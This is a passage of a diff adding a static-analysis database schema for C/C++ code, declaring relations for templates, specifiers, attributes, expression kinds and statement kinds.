+); +class_template_argument( + int type_id: @usertype ref, + int index: int ref, + int arg_type: @type ref +); +class_template_argument_value( + int type_id: @usertype ref, + int index: int ref, + int arg_value: @expr ref +); + +@user_or_decltype = @usertype | @decltype; + +is_proxy_class_for( + unique int id: @usertype ref, + int templ_param_id: @user_or_decltype ref +); + +type_mentions( + unique int id: @type_mention, + int type_id: @type ref, + int location: @location ref, + // a_symbol_reference_kind from the frontend. + int kind: int ref +); + +is_function_template(unique int id: @function ref); +function_instantiation( + unique int to: @function ref, + int from: @function ref +); +function_template_argument( + int function_id: @function ref, + int index: int ref, + int arg_type: @type ref +); +function_template_argument_value( + int function_id: @function ref, + int index: int ref, + int arg_value: @expr ref +); + +is_variable_template(unique int id: @variable ref); +variable_instantiation( + unique int to: @variable ref, + int from: @variable ref +); +variable_template_argument( + int variable_id: @variable ref, + int index: int ref, + int arg_type: @type ref +); +variable_template_argument_value( + int variable_id: @variable ref, + int index: int ref, + int arg_value: @expr ref +); + +template_template_instantiation( + int to: @usertype ref, + int from: @usertype ref +); +template_template_argument( + int type_id: @usertype ref, + int index: int ref, + int arg_type: @type ref +); +template_template_argument_value( + int type_id: @usertype ref, + int index: int ref, + int arg_value: @expr ref +); + +@concept = @concept_template | @concept_id; + +concept_templates( + unique int concept_id: @concept_template, + string name: string ref, + int location: @location_default ref +); +concept_instantiation( + unique int to: @concept_id ref, + int from: @concept_template ref +); +is_type_constraint(int concept_id: @concept_id ref); +concept_template_argument( + int concept_id: @concept ref, + int index: int ref, + int arg_type: @type ref +); +concept_template_argument_value( + int concept_id: @concept ref, + int index: int ref, + int arg_value: @expr ref +); + +routinetypes( + unique int id: @routinetype, + int return_type: @type ref +); + +routinetypeargs( + int routine: @routinetype ref, + int index: int ref, + int type_id: @type ref +); + +ptrtomembers( + unique int id: @ptrtomember, + int type_id: @type ref, + int class_id: @type ref +); + +/* + specifiers for types, functions, and variables + + "public", + "protected", + "private", + + "const", + "volatile", + "static", + + "pure", + "virtual", + "sealed", // Microsoft + "__interface", // Microsoft + "inline", + "explicit", + + "near", // near far extension + "far", // near far extension + "__ptr32", // Microsoft + "__ptr64", // Microsoft + "__sptr", // Microsoft + "__uptr", // Microsoft + "dllimport", // Microsoft + "dllexport", // Microsoft + "thread", // Microsoft + "naked", // Microsoft + "microsoft_inline", // Microsoft + "forceinline", // Microsoft + "selectany", // Microsoft + "nothrow", // Microsoft + "novtable", // Microsoft + "noreturn", // Microsoft + "noinline", // Microsoft + "noalias", // Microsoft + "restrict", // Microsoft +*/ + +specifiers( + unique int id: @specifier, + unique string str: string ref +); + +typespecifiers( + int type_id: @type ref, + int spec_id: @specifier ref +); + +funspecifiers( + int func_id: @function ref, + int spec_id: @specifier ref +); + +varspecifiers( + int var_id: @accessible ref, + int spec_id: @specifier ref +); + +explicit_specifier_exprs( + unique int func_id: @function ref, + int constant: @expr ref +) + +attributes( + unique int id: @attribute, + int kind: int ref, + string name: string ref, + string name_space: string ref, + int location: @location_default ref +); + +case @attribute.kind of + 0 = @gnuattribute +| 1 = @stdattribute +| 2 = @declspec +| 3 = @msattribute +| 4 = @alignas +// ... 5 @objc_propertyattribute deprecated +; + +attribute_args( + unique int id: @attribute_arg, + int kind: int ref, + int attribute: @attribute ref, + int index: int ref, + int location: @location_default ref +); + +case @attribute_arg.kind of + 0 = @attribute_arg_empty +| 1 = @attribute_arg_token +| 2 = @attribute_arg_constant +| 3 = @attribute_arg_type +| 4 = @attribute_arg_constant_expr +| 5 = @attribute_arg_expr +; + +attribute_arg_value( + unique int arg: @attribute_arg ref, + string value: string ref +); +attribute_arg_type( + unique int arg: @attribute_arg ref, + int type_id: @type ref +); +attribute_arg_constant( + unique int arg: @attribute_arg ref, + int constant: @expr ref +) +attribute_arg_expr( + unique int arg: @attribute_arg ref, + int expr: @expr ref +) +attribute_arg_name( + unique int arg: @attribute_arg ref, + string name: string ref +); + +typeattributes( + int type_id: @type ref, + int spec_id: @attribute ref +); + +funcattributes( + int func_id: @function ref, + int spec_id: @attribute ref +); + +varattributes( + int var_id: @accessible ref, + int spec_id: @attribute ref +); + +stmtattributes( + int stmt_id: @stmt ref, + int spec_id: @attribute ref +); + +@type = @builtintype + | @derivedtype + | @usertype + | @routinetype + | @ptrtomember + | @decltype + | @type_operator; + +unspecifiedtype( + unique int type_id: @type ref, + int unspecified_type_id: @type ref +); + +member( + int parent: @type ref, + int index: int ref, + int child: @member ref +); + +@enclosingfunction_child = @usertype | @variable | @namespace + +enclosingfunction( + unique int child: @enclosingfunction_child ref, + int parent: @function ref +); + +derivations( + unique int derivation: @derivation, + int sub: @type ref, + int index: int ref, + int super: @type ref, + int location: @location_default ref +); + +derspecifiers( + int der_id: @derivation ref, + int spec_id: @specifier ref +); + +/** + * Contains the byte offset of the base class subobject within the derived + * class. Only holds for non-virtual base classes, but see table + * `virtual_base_offsets` for offsets of virtual base class subobjects. + */ +direct_base_offsets( + unique int der_id: @derivation ref, + int offset: int ref +); + +/** + * Contains the byte offset of the virtual base class subobject for class + * `super` within a most-derived object of class `sub`. `super` can be either a + * direct or indirect base class. + */ +#keyset[sub, super] +virtual_base_offsets( + int sub: @usertype ref, + int super: @usertype ref, + int offset: int ref +); + +frienddecls( + unique int id: @frienddecl, + int type_id: @type ref, + int decl_id: @declaration ref, + int location: @location_default ref +); + +@declaredtype = @usertype ; + +@declaration = @function + | @declaredtype + | @variable + | @enumconstant + | @frienddecl + | @concept_template; + +@member = @membervariable + | @function + | @declaredtype + | @enumconstant; + +@locatable = @diagnostic + | @declaration + | @ppd_include + | @ppd_define + | @macroinvocation + /*| @funcall*/ + | @xmllocatable + | @attribute + | @attribute_arg; + +@namedscope = @namespace | @usertype; + +@element = @locatable + | @file + | @folder + | @specifier + | @type + | @expr + | @namespace + | @initialiser + | @stmt + | @derivation + | @comment + | @preprocdirect + | @fun_decl + | @var_decl + | @type_decl + | @namespace_decl + | @using + | @namequalifier + | @specialnamequalifyingelement + | @static_assert + | @type_mention + | @lambdacapture; + +@exprparent = @element; + +comments( + unique int id: @comment, + string contents: string ref, + int location: @location_default ref +); + +commentbinding( + int id: @comment ref, + int element: @element ref +); + +exprconv( + int converted: @expr ref, + unique int conversion: @expr ref +); + +compgenerated(unique int id: @element ref); + +/** + * `destructor_call` destructs the `i`'th entity that should be + * destructed following `element`. Note that entities should be + * destructed in reverse construction order, so for a given `element` + * these should be called from highest to lowest `i`. + */ +#keyset[element, destructor_call] +#keyset[element, i] +synthetic_destructor_call( + int element: @element ref, + int i: int ref, + int destructor_call: @routineexpr ref +); + +namespaces( + unique int id: @namespace, + string name: string ref +); + +namespace_inline( + unique int id: @namespace ref +); + +namespacembrs( + int parentid: @namespace ref, + unique int memberid: @namespacembr ref +); + +@namespacembr = @declaration | @namespace; + +exprparents( + int expr_id: @expr ref, + int child_index: int ref, + int parent_id: @exprparent ref +); + +expr_isload(unique int expr_id: @expr ref); + +@cast = @c_style_cast + | @const_cast + | @dynamic_cast + | @reinterpret_cast + | @static_cast + ; + +/* +case @conversion.kind of + 0 = @simple_conversion // a numeric conversion, qualification conversion, or a reinterpret_cast +| 1 = @bool_conversion // conversion to 'bool' +| 2 = @base_class_conversion // a derived-to-base conversion +| 3 = @derived_class_conversion // a base-to-derived conversion +| 4 = @pm_base_class_conversion // a derived-to-base conversion of a pointer to member +| 5 = @pm_derived_class_conversion // a base-to-derived conversion of a pointer to member +| 6 = @glvalue_adjust // an adjustment of the type of a glvalue +| 7 = @prvalue_adjust // an adjustment of the type of a prvalue +; +*/ +/** + * Describes the semantics represented by a cast expression. This is largely + * independent of the source syntax of the cast, so it is separate from the + * regular expression kind. + */ +conversionkinds( + unique int expr_id: @cast ref, + int kind: int ref +); + +@conversion = @cast + | @array_to_pointer + | @parexpr + | @reference_to + | @ref_indirect + | @temp_init + | @c11_generic + ; + +/* +case @funbindexpr.kind of + 0 = @normal_call // a normal call +| 1 = @virtual_call // a virtual call +| 2 = @adl_call // a call whose target is only found by ADL +; +*/ +iscall( + unique int caller: @funbindexpr ref, + int kind: int ref +); + +numtemplatearguments( + unique int expr_id: @expr ref, + int num: int ref +); + +specialnamequalifyingelements( + unique int id: @specialnamequalifyingelement, + unique string name: string ref +); + +@namequalifiableelement = @expr | @namequalifier; +@namequalifyingelement = @namespace + | @specialnamequalifyingelement + | @usertype; + +namequalifiers( + unique int id: @namequalifier, + unique int qualifiableelement: @namequalifiableelement ref, + int qualifyingelement: @namequalifyingelement ref, + int location: @location_default ref +); + +varbind( + int expr: @varbindexpr ref, + int var: @accessible ref +); + +funbind( + int expr: @funbindexpr ref, + int fun: @function ref +); + +@any_new_expr = @new_expr + | @new_array_expr; + +@new_or_delete_expr = @any_new_expr + | @delete_expr + | @delete_array_expr; + +@prefix_crement_expr = @preincrexpr | @predecrexpr; + +@postfix_crement_expr = @postincrexpr | @postdecrexpr; + +@increment_expr = @preincrexpr | @postincrexpr; + +@decrement_expr = @predecrexpr | @postdecrexpr; + +@crement_expr = @increment_expr | @decrement_expr; + +@un_arith_op_expr = @arithnegexpr + | @unaryplusexpr + | @conjugation + | @realpartexpr + | @imagpartexpr + | @crement_expr + ; + +@un_bitwise_op_expr = @complementexpr; + +@un_log_op_expr = @notexpr; + +@un_op_expr = @address_of + | @indirect + | @un_arith_op_expr + | @un_bitwise_op_expr + | @builtinaddressof + | @vec_fill + | @un_log_op_expr + | @co_await + | @co_yield + ; + +@bin_log_op_expr = @andlogicalexpr | @orlogicalexpr; + +@cmp_op_expr = @eq_op_expr | @rel_op_expr; + +@eq_op_expr = @eqexpr | @neexpr; + +@rel_op_expr = @gtexpr + | @ltexpr + | @geexpr + | @leexpr + | @spaceshipexpr + ; + +@bin_bitwise_op_expr = @lshiftexpr + | @rshiftexpr + | @andexpr + | @orexpr + | @xorexpr + ; + +@p_arith_op_expr = @paddexpr + | @psubexpr + | @pdiffexpr + ; + +@bin_arith_op_expr = @addexpr + | @subexpr + | @mulexpr + | @divexpr + | @remexpr + | @jmulexpr + | @jdivexpr + | @fjaddexpr + | @jfaddexpr + | @fjsubexpr + | @jfsubexpr + | @minexpr + | @maxexpr + | @p_arith_op_expr + ; + +@bin_op_expr = @bin_arith_op_expr + | @bin_bitwise_op_expr + | @cmp_op_expr + | @bin_log_op_expr + ; + +@op_expr = @un_op_expr + | @bin_op_expr + | @assign_expr + | @conditionalexpr + ; + +@assign_arith_expr = @assignaddexpr + | @assignsubexpr + | @assignmulexpr + | @assigndivexpr + | @assignremexpr + ; + +@assign_bitwise_expr = @assignandexpr + | @assignorexpr + | @assignxorexpr + | @assignlshiftexpr + | @assignrshiftexpr + ; + +@assign_pointer_expr = @assignpaddexpr + | @assignpsubexpr + ; + +@assign_op_expr = @assign_arith_expr + | @assign_bitwise_expr + | @assign_pointer_expr + ; + +@assign_expr = @assignexpr | @assign_op_expr | @blockassignexpr + +/* + Binary encoding of the allocator form. + + case @allocator.form of + 0 = plain + | 1 = alignment + ; +*/ + +/** + * The allocator function associated with a `new` or `new[]` expression. + * The `form` column specified whether the allocation call contains an alignment + * argument. + */ +expr_allocator( + unique int expr: @any_new_expr ref, + int func: @function ref, + int form: int ref +); + +/* + Binary encoding of the deallocator form. + + case @deallocator.form of + 0 = plain + | 1 = size + | 2 = alignment + | 4 = destroying_delete + ; +*/ + +/** + * The deallocator function associated with a `delete`, `delete[]`, `new`, or + * `new[]` expression. For a `new` or `new[]` expression, the deallocator is the + * one used to free memory if the initialization throws an exception. + * The `form` column specifies whether the deallocation call contains a size + * argument, and alignment argument, or both. + */ +expr_deallocator( + unique int expr: @new_or_delete_expr ref, + int func: @function ref, + int form: int ref +); + +/** + * Holds if the `@conditionalexpr` is of the two operand form + * `guard ? : false`. + */ +expr_cond_two_operand( + unique int cond: @conditionalexpr ref +); + +/** + * The guard of `@conditionalexpr` `guard ? true : false` + */ +expr_cond_guard( + unique int cond: @conditionalexpr ref, + int guard: @expr ref +); + +/** + * The expression used when the guard of `@conditionalexpr` + * `guard ? true : false` holds. For the two operand form + * `guard ?: false` consider using `expr_cond_guard` instead. + */ +expr_cond_true( + unique int cond: @conditionalexpr ref, + int true: @expr ref +); + +/** + * The expression used when the guard of `@conditionalexpr` + * `guard ? true : false` does not hold. + */ +expr_cond_false( + unique int cond: @conditionalexpr ref, + int false: @expr ref +); + +/** A string representation of the value. */ +values( + unique int id: @value, + string str: string ref +); + +/** The actual text in the source code for the value, if any. */ +valuetext( + unique int id: @value ref, + string text: string ref +); + +valuebind( + int val: @value ref, + unique int expr: @expr ref +); + +fieldoffsets( + unique int id: @variable ref, + int byteoffset: int ref, + int bitoffset: int ref +); + +bitfield( + unique int id: @variable ref, + int bits: int ref, + int declared_bits: int ref +); + +/* TODO +memberprefix( + int member: @expr ref, + int prefix: @expr ref +); +*/ + +/* + kind(1) = mbrcallexpr + kind(2) = mbrptrcallexpr + kind(3) = mbrptrmbrcallexpr + kind(4) = ptrmbrptrmbrcallexpr + kind(5) = mbrreadexpr // x.y + kind(6) = mbrptrreadexpr // p->y + kind(7) = mbrptrmbrreadexpr // x.*pm + kind(8) = mbrptrmbrptrreadexpr // x->*pm + kind(9) = staticmbrreadexpr // static x.y + kind(10) = staticmbrptrreadexpr // static p->y +*/ +/* TODO +memberaccess( + int member: @expr ref, + int kind: int ref +); +*/ + +initialisers( + unique int init: @initialiser, + int var: @accessible ref, + unique int expr: @expr ref, + int location: @location_expr ref +); + +braced_initialisers( + int init: @initialiser ref +); + +/** + * An ancestor for the expression, for cases in which we cannot + * otherwise find the expression's parent. + */ +expr_ancestor( + int exp: @expr ref, + int ancestor: @element ref +); + +exprs( + unique int id: @expr, + int kind: int ref, + int location: @location_expr ref +); + +expr_reuse( + int reuse: @expr ref, + int original: @expr ref, + int value_category: int ref +) + +/* + case @value.category of + 1 = prval + | 2 = xval + | 3 = lval + ; +*/ +expr_types( + int id: @expr ref, + int typeid: @type ref, + int value_category: int ref +); + +case @expr.kind of + 1 = @errorexpr +| 2 = @address_of // & AddressOfExpr +| 3 = @reference_to // ReferenceToExpr (implicit?) +| 4 = @indirect // * PointerDereferenceExpr +| 5 = @ref_indirect // ReferenceDereferenceExpr (implicit?) +// ... +| 8 = @array_to_pointer // (???) +| 9 = @vacuous_destructor_call // VacuousDestructorCall +// ... +| 11 = @assume // Microsoft +| 12 = @parexpr +| 13 = @arithnegexpr +| 14 = @unaryplusexpr +| 15 = @complementexpr +| 16 = @notexpr +| 17 = @conjugation // GNU ~ operator +| 18 = @realpartexpr // GNU __real +| 19 = @imagpartexpr // GNU __imag +| 20 = @postincrexpr +| 21 = @postdecrexpr +| 22 = @preincrexpr +| 23 = @predecrexpr +| 24 = @conditionalexpr +| 25 = @addexpr +| 26 = @subexpr +| 27 = @mulexpr +| 28 = @divexpr +| 29 = @remexpr +| 30 = @jmulexpr // C99 mul imaginary +| 31 = @jdivexpr // C99 div imaginary +| 32 = @fjaddexpr // C99 add real + imaginary +| 33 = @jfaddexpr // C99 add imaginary + real +| 34 = @fjsubexpr // C99 sub real - imaginary +| 35 = @jfsubexpr // C99 sub imaginary - real +| 36 = @paddexpr // pointer add (pointer + int or int + pointer) +| 37 = @psubexpr // pointer sub (pointer - integer) +| 38 = @pdiffexpr // difference between two pointers +| 39 = @lshiftexpr +| 40 = @rshiftexpr +| 41 = @andexpr +| 42 = @orexpr +| 43 = @xorexpr +| 44 = @eqexpr +| 45 = @neexpr +| 46 = @gtexpr +| 47 = @ltexpr +| 48 = @geexpr +| 49 = @leexpr +| 50 = @minexpr // GNU minimum +| 51 = @maxexpr // GNU maximum +| 52 = @assignexpr +| 53 = @assignaddexpr +| 54 = @assignsubexpr +| 55 = @assignmulexpr +| 56 = @assigndivexpr +| 57 = @assignremexpr +| 58 = @assignlshiftexpr +| 59 = @assignrshiftexpr +| 60 = @assignandexpr +| 61 = @assignorexpr +| 62 = @assignxorexpr +| 63 = @assignpaddexpr // assign pointer add +| 64 = @assignpsubexpr // assign pointer sub +| 65 = @andlogicalexpr +| 66 = @orlogicalexpr +| 67 = @commaexpr +| 68 = @subscriptexpr // access to member of an array, e.g., a[5] +// ... 69 @objc_subscriptexpr deprecated +// ... 70 @cmdaccess deprecated +// ... +| 73 = @virtfunptrexpr +| 74 = @callexpr +// ... 75 @msgexpr_normal deprecated +// ... 76 @msgexpr_super deprecated +// ... 77 @atselectorexpr deprecated +// ... 78 @atprotocolexpr deprecated +| 79 = @vastartexpr +| 80 = @vaargexpr +| 81 = @vaendexpr +| 82 = @vacopyexpr +// ... 83 @atencodeexpr deprecated +| 84 = @varaccess +| 85 = @thisaccess +// ... 86 @objc_box_expr deprecated +| 87 = @new_expr +| 88 = @delete_expr +| 89 = @throw_expr +| 90 = @condition_decl // a variable declared in a condition, e.g., if(int x = y > 2) +| 91 = @braced_init_list +| 92 = @type_id +| 93 = @runtime_sizeof +| 94 = @runtime_alignof +| 95 = @sizeof_pack +| 96 = @expr_stmt // GNU extension +| 97 = @routineexpr +| 98 = @type_operand // used to access a type in certain contexts (haven't found any examples yet....) +| 99 = @offsetofexpr // offsetof ::= type and field +| 100 = @hasassignexpr // __has_assign ::= type +| 101 = @hascopyexpr // __has_copy ::= type +| 102 = @hasnothrowassign // __has_nothrow_assign ::= type +| 103 = @hasnothrowconstr // __has_nothrow_constructor ::= type +| 104 = @hasnothrowcopy // __has_nothrow_copy ::= type +| 105 = @hastrivialassign // __has_trivial_assign ::= type +| 106 = @hastrivialconstr // __has_trivial_constructor ::= type +| 107 = @hastrivialcopy // __has_trivial_copy ::= type +| 108 = @hasuserdestr // __has_user_destructor ::= type +| 109 = @hasvirtualdestr // __has_virtual_destructor ::= type +| 110 = @isabstractexpr // __is_abstract ::= type +| 111 = @isbaseofexpr // __is_base_of ::= type type +| 112 = @isclassexpr // __is_class ::= type +| 113 = @isconvtoexpr // __is_convertible_to ::= type type +| 114 = @isemptyexpr // __is_empty ::= type +| 115 = @isenumexpr // __is_enum ::= type +| 116 = @ispodexpr // __is_pod ::= type +| 117 = @ispolyexpr // __is_polymorphic ::= type +| 118 = @isunionexpr // __is_union ::= type +| 119 = @typescompexpr // GNU __builtin_types_compatible ::= type type +| 120 = @intaddrexpr // frontend internal builtin, used to implement offsetof +// ... +| 122 = @hastrivialdestructor // __has_trivial_destructor ::= type +| 123 = @literal +| 124 = @uuidof +| 127 = @aggregateliteral +| 128 = @delete_array_expr +| 129 = @new_array_expr +// ... 130 @objc_array_literal deprecated +// ... 131 @objc_dictionary_literal deprecated +| 132 = @foldexpr +// ... +| 200 = @ctordirectinit +| 201 = @ctorvirtualinit +| 202 = @ctorfieldinit +| 203 = @ctordelegatinginit +| 204 = @dtordirectdestruct +| 205 = @dtorvirtualdestruct +| 206 = @dtorfielddestruct +// ... +| 210 = @static_cast +| 211 = @reinterpret_cast +| 212 = @const_cast +| 213 = @dynamic_cast +| 214 = @c_style_cast +| 215 = @lambdaexpr +| 216 = @param_ref +| 217 = @noopexpr +// ... +| 294 = @istriviallyconstructibleexpr +| 295 = @isdestructibleexpr +| 296 = @isnothrowdestructibleexpr +| 297 = @istriviallydestructibleexpr +| 298 = @istriviallyassignableexpr +| 299 = @isnothrowassignableexpr +| 300 = @istrivialexpr +| 301 = @isstandardlayoutexpr +| 302 = @istriviallycopyableexpr +| 303 = @isliteraltypeexpr +| 304 = @hastrivialmoveconstructorexpr +| 305 = @hastrivialmoveassignexpr +| 306 = @hasnothrowmoveassignexpr +| 307 = @isconstructibleexpr +| 308 = @isnothrowconstructibleexpr +| 309 = @hasfinalizerexpr +| 310 = @isdelegateexpr +| 311 = @isinterfaceclassexpr +| 312 = @isrefarrayexpr +| 313 = @isrefclassexpr +| 314 = @issealedexpr +| 315 = @issimplevalueclassexpr +| 316 = @isvalueclassexpr +| 317 = @isfinalexpr +| 319 = @noexceptexpr +| 320 = @builtinshufflevector +| 321 = @builtinchooseexpr +| 322 = @builtinaddressof +| 323 = @vec_fill +| 324 = @builtinconvertvector +| 325 = @builtincomplex +| 326 = @spaceshipexpr +| 327 = @co_await +| 328 = @co_yield +| 329 = @temp_init +| 330 = @isassignable +| 331 = @isaggregate +| 332 = @hasuniqueobjectrepresentations +| 333 = @builtinbitcast +| 334 = @builtinshuffle +| 335 = @blockassignexpr +| 336 = @issame +| 337 = @isfunction +| 338 = @islayoutcompatible +| 339 = @ispointerinterconvertiblebaseof +| 340 = @isarray +| 341 = @arrayrank +| 342 = @arrayextent +| 343 = @isarithmetic +| 344 = @iscompletetype +| 345 = @iscompound +| 346 = @isconst +| 347 = @isfloatingpoint +| 348 = @isfundamental +| 349 = @isintegral +| 350 = @islvaluereference +| 351 = @ismemberfunctionpointer +| 352 = @ismemberobjectpointer +| 353 = @ismemberpointer +| 354 = @isobject +| 355 = @ispointer +| 356 = @isreference +| 357 = @isrvaluereference +| 358 = @isscalar +| 359 = @issigned +| 360 = @isunsigned +| 361 = @isvoid +| 362 = @isvolatile +| 363 = @reuseexpr +| 364 = @istriviallycopyassignable +| 365 = @isassignablenopreconditioncheck +| 366 = @referencebindstotemporary +| 367 = @issameas +| 368 = @builtinhasattribute +| 369 = @ispointerinterconvertiblewithclass +| 370 = @builtinispointerinterconvertiblewithclass +| 371 = @iscorrespondingmember +| 372 = @builtiniscorrespondingmember +| 373 = @isboundedarray +| 374 = @isunboundedarray +| 375 = @isreferenceable +| 378 = @isnothrowconvertible +| 379 = @referenceconstructsfromtemporary +| 380 = @referenceconvertsfromtemporary +| 381 = @isconvertible +| 382 = @isvalidwinrttype +| 383 = @iswinclass +| 384 = @iswininterface +| 385 = @istriviallyequalitycomparable +| 386 = @isscopedenum +| 387 = @istriviallyrelocatable +| 388 = @datasizeof +| 389 = @c11_generic +| 390 = @requires_expr +| 391 = @nested_requirement +| 392 = @compound_requirement +| 393 = @concept_id +; + +@var_args_expr = @vastartexpr + | @vaendexpr + | @vaargexpr + | @vacopyexpr + ; + +@builtin_op = @var_args_expr + | @noopexpr + | @offsetofexpr + | @intaddrexpr + | @hasassignexpr + | @hascopyexpr + | @hasnothrowassign + | @hasnothrowconstr + | @hasnothrowcopy + | @hastrivialassign + | @hastrivialconstr + | @hastrivialcopy + | @hastrivialdestructor + | @hasuserdestr + | @hasvirtualdestr + | @isabstractexpr + | @isbaseofexpr + | @isclassexpr + | @isconvtoexpr + | @isemptyexpr + | @isenumexpr + | @ispodexpr + | @ispolyexpr + | @isunionexpr + | @typescompexpr + | @builtinshufflevector + | @builtinconvertvector + | @builtinaddressof + | @istriviallyconstructibleexpr + | @isdestructibleexpr + | @isnothrowdestructibleexpr + | @istriviallydestructibleexpr + | @istriviallyassignableexpr + | @isnothrowassignableexpr + | @istrivialexpr + | @isstandardlayoutexpr + | @istriviallycopyableexpr + | @isliteraltypeexpr + | @hastrivialmoveconstructorexpr + | @hastrivialmoveassignexpr + | @hasnothrowmoveassignexpr + | @isconstructibleexpr + | @isnothrowconstructibleexpr + | @hasfinalizerexpr + | @isdelegateexpr + | @isinterfaceclassexpr + | @isrefarrayexpr + | @isrefclassexpr + | @issealedexpr + | @issimplevalueclassexpr + | @isvalueclassexpr + | @isfinalexpr + | @builtinchooseexpr + | @builtincomplex + | @isassignable + | @isaggregate + | @hasuniqueobjectrepresentations + | @builtinbitcast + | @builtinshuffle + | @issame + | @isfunction + | @islayoutcompatible + | @ispointerinterconvertiblebaseof + | @isarray + | @arrayrank + | @arrayextent + | @isarithmetic + | @iscompletetype + | @iscompound + | @isconst + | @isfloatingpoint + | @isfundamental + | @isintegral + | @islvaluereference + | @ismemberfunctionpointer + | @ismemberobjectpointer + | @ismemberpointer + | @isobject + | @ispointer + | @isreference + | @isrvaluereference + | @isscalar + | @issigned + | @isunsigned + | @isvoid + | @isvolatile + | @istriviallycopyassignable + | @isassignablenopreconditioncheck + | @referencebindstotemporary + | @issameas + | @builtinhasattribute + | @ispointerinterconvertiblewithclass + | @builtinispointerinterconvertiblewithclass + | @iscorrespondingmember + | @builtiniscorrespondingmember + | @isboundedarray + | @isunboundedarray + | @isreferenceable + | @isnothrowconvertible + | @referenceconstructsfromtemporary + | @referenceconvertsfromtemporary + | @isconvertible + | @isvalidwinrttype + | @iswinclass + | @iswininterface + | @istriviallyequalitycomparable + | @isscopedenum + | @istriviallyrelocatable + ; + +compound_requirement_is_noexcept( + int expr: @compound_requirement ref +); + +new_allocated_type( + unique int expr: @new_expr ref, + int type_id: @type ref +); + +new_array_allocated_type( + unique int expr: @new_array_expr ref, + int type_id: @type ref +); + +/** + * The field being initialized by an initializer expression within an aggregate + * initializer for a class/struct/union. Position is used to sort repeated initializers. + */ +#keyset[aggregate, position] +aggregate_field_init( + int aggregate: @aggregateliteral ref, + int initializer: @expr ref, + int field: @membervariable ref, + int position: int ref, + boolean is_designated: boolean ref +); + +/** + * The index of the element being initialized by an initializer expression + * within an aggregate initializer for an array. Position is used to sort repeated initializers. + */ +#keyset[aggregate, position] +aggregate_array_init( + int aggregate: @aggregateliteral ref, + int initializer: @expr ref, + int element_index: int ref, + int position: int ref, + boolean is_designated: boolean ref +); + +@ctorinit = @ctordirectinit + | @ctorvirtualinit + | @ctorfieldinit + | @ctordelegatinginit; +@dtordestruct = @dtordirectdestruct + | @dtorvirtualdestruct + | @dtorfielddestruct; + + +condition_decl_bind( + unique int expr: @condition_decl ref, + unique int decl: @declaration ref +); + +typeid_bind( + unique int expr: @type_id ref, + int type_id: @type ref +); + +uuidof_bind( + unique int expr: @uuidof ref, + int type_id: @type ref +); + +@sizeof_or_alignof = @runtime_sizeof | @runtime_alignof | @datasizeof | @sizeof_pack; + +sizeof_bind( + unique int expr: @sizeof_or_alignof ref, + int type_id: @type ref +); + +code_block( + unique int block: @literal ref, + unique int routine: @function ref +); + +lambdas( + unique int expr: @lambdaexpr ref, + string default_capture: string ref, + boolean has_explicit_return_type: boolean ref, + boolean has_explicit_parameter_list: boolean ref +); + +lambda_capture( + unique int id: @lambdacapture, + int lambda: @lambdaexpr ref, + int index: int ref, + int field: @membervariable ref, + boolean captured_by_reference: boolean ref, + boolean is_implicit: boolean ref, + int location: @location_default ref +); + +@funbindexpr = @routineexpr + | @new_expr + | @delete_expr + | @delete_array_expr + | @ctordirectinit + | @ctorvirtualinit + | @ctordelegatinginit + | @dtordirectdestruct + | @dtorvirtualdestruct; + +@varbindexpr = @varaccess | @ctorfieldinit | @dtorfielddestruct; +@addressable = @function | @variable ; +@accessible = @addressable | @enumconstant ; + +@access = @varaccess | @routineexpr ; + +fold( + int expr: @foldexpr ref, + string operator: string ref, + boolean is_left_fold: boolean ref +); + +stmts( + unique int id: @stmt, + int kind: int ref, + int location: @location_stmt ref +); + +case @stmt.kind of + 1 = @stmt_expr +| 2 = @stmt_if +| 3 = @stmt_while +| 4 = @stmt_goto +| 5 = @stmt_label +| 6 = @stmt_return +| 7 = @stmt_block +| 8 = @stmt_end_test_while // do { ... } while ( ... ) +| 9 = @stmt_for +| 10 = @stmt_switch_case +| 11 = @stmt_switch +| 13 = @stmt_asm // "asm" statement or the body of an asm function +| 15 = @stmt_try_block +| 16 = @stmt_microsoft_try // Microsoft +| 17 = @stmt_decl +| 18 = @stmt_set_vla_size // C99 +| 19 = @stmt_vla_decl // C99 +| 25 = @stmt_assigned_goto // GNU +| 26 = @stmt_empty +| 27 = @stmt_continue +| 28 = @stmt_break +| 29 = @stmt_range_based_for // C++11 +// ... 30 @stmt_at_autoreleasepool_block deprecated +// ... 31 @stmt_objc_for_in deprecated +// ... 32 @stmt_at_synchronized deprecated +| 33 = @stmt_handler +// ... 34 @stmt_finally_end deprecated +| 35 = @stmt_constexpr_if +| 37 = @stmt_co_return +| 38 = @stmt_consteval_if +| 39 = @stmt_not_consteval_if +; + +type_vla( + int type_id: @type ref, + int decl: @stmt_vla_decl ref +); + +variable_vla( + int var: @variable ref, + int decl: @stmt_vla_decl ref +); + +type_is_vla(unique int type_id: @derivedtype ref) + +if_initialization( + unique int if_stmt: @stmt_if ref, + int init_id: @stmt ref +); + +if_then( + unique int if_stmt: @stmt_if ref, + int then_id: @stmt ref +); + +if_else( + unique int if_stmt: @stmt_if ref, + int else_id: @stmt ref +); + +constexpr_if_initialization( + unique int constexpr_if_stmt: @stmt_constexpr_if ref, + int init_id: @stmt ref +); + +constexpr_if_then( + unique int constexpr_if_stmt: @stmt_constexpr_if ref, + int then_id: @stmt ref +); + +constexpr_if_else( + unique int constexpr_if_stmt: @stmt_constexpr_if ref, + int else_id: @stmt ref +); + +@stmt_consteval_or_not_consteval_if = @stmt_consteval_if | @stmt_not_consteval_if; + +consteval_if_then( + unique int constexpr_if_stmt: @stmt_consteval_or_not_consteval_if ref, + int then_id: @stmt ref +); + +consteval_if_else( + unique int constexpr_if_stmt: @stmt_consteval_or_not_consteval_if ref, + int else_id: @stmt ref +); + +while_body( + unique int while_stmt: @stmt_while ref, + int body_id: @stmt ref +); + +do_body( + unique int do_stmt: @stmt_end_test_while ref, + int body_id: @stmt ref +); + +switch_initialization( + unique int switch_stmt: @stmt_switch ref, + int init_id: @stmt ref +); + +#keyset[switch_stmt, index] +switch_case( + int switch_stmt: @stmt_switch ref, + int index: int ref, + int case_id: @stmt_switch_case ref +); + +switch_body( + unique int switch_stmt: @stmt_switch ref, + int body_id: @stmt ref +); + +@stmt_for_or_range_based_for = @stmt_for + | @stmt_range_based_for; + +for_initialization( + unique int for_stmt: @stmt_for_or_range_based_for ref, + int init_id: @stmt ref +); + +for_condition( + unique int for_stmt: @stmt_for ref, + int condition_id: @expr ref +); + +for_update( + unique int for_stmt: @stmt_for ref, + int update_id: @expr ref +); + +for_body( + unique int for_stmt: @stmt_for ref, + int body_id: @stmt ref +); + +@stmtparent = @stmt | @expr_stmt ; +stmtparents( + unique int id: @stmt 